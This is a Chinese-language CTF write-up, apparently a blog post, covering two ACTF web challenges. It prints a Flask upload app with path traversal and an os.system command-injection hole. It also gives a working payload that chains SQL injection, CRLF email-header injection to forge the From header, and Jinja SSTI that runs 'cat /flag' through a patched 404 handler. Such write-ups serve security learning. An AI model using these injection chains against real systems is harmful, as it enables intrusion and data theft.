ACTF
下午打取证晚上打ACTF就牢了一题就牢不动了,其他题看来一下有两题是有思路的但是队友打了我也就没打了
upload
随便输都可以登陆成功,然后上传文件后发现了文件读取./upload?file_path
可以目录穿越1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session
app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')
def index():
if session.get('username'):
return redirect(url_for('upload'))
else:
return redirect(url_for('login'))
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin':
if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
session['username'] = username
return redirect(url_for('index'))
else:
flash('Invalid password')
else:
session['username'] = username
return redirect(url_for('index'))
else:
return '''
<h1>Login</h1>
<h2>No need to register.</h2>
<form action="/login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<br>
<input type="submit" value="Login">
</form>
'''
def upload():
if not session.get('username'):
return redirect(url_for('login'))
if request.method == 'POST':
f = request.files['file']
file_path = str(uuid.uuid4()) + '_' + f.filename
f.save('./uploads/' + file_path)
return redirect(f'/upload?file_path={file_path}')
else:
if not request.args.get('file_path'):
return '''
<h1>Upload Image</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
'''
else:
file_path = './uploads/' + request.args.get('file_path')
if session.get('username') != 'admin':
with open(file_path, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content)
return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
else:
os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
# with open(f'/tmp/{file_path}.b64', 'r') as f:
# return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
return 'Sorry, but you are not allowed to view this image.'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
admin的密码是弱口令可以直接在cmd5查出hash对应的文明
登陆admin的账号后就可以进行命令注入了,执行结果会保存到文件里命令执行后读取文件即可,或者直接弹shell
Excellent-Site
1 | import smtplib |
看一下代码其实漏洞点还是比较好找的
一眼就是admin下的ssti
我们不能直接访问ssti,我们只能访问bot来让bot访问一次admin路径,而page_content是subject页面的内容,subject只能为http://ezmail.org开头,而我们在news可以发现一个明显的sql。且参数是url传的,那么我们就可以通过sql注入来控制回显,而我们的这个web服务是http://ezmail.org:3000。
那么现在问题就变成了如何去控制subject

看get_subjects可以发现其是通过获取一个最新的来自FROM “admin@ezmail.org”来字admin的邮件的subject头的内容。而我们可以通过/report来发送邮件给admin,但是可控的只有subject和content

这里我们使用\r\n来分割邮件头从而造成邮件头注入在后面加一个from头从而来伪造邮件的from
然后这个无回显,所以要使用内存马。这里我使用的是404回显
payload如下1
url=http://ezmail.org:3000/news?id=-1+union+select+"{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('cat+/flag').read())}}"%0d%0aFrom:+admin@ezmail.org&content=aaa


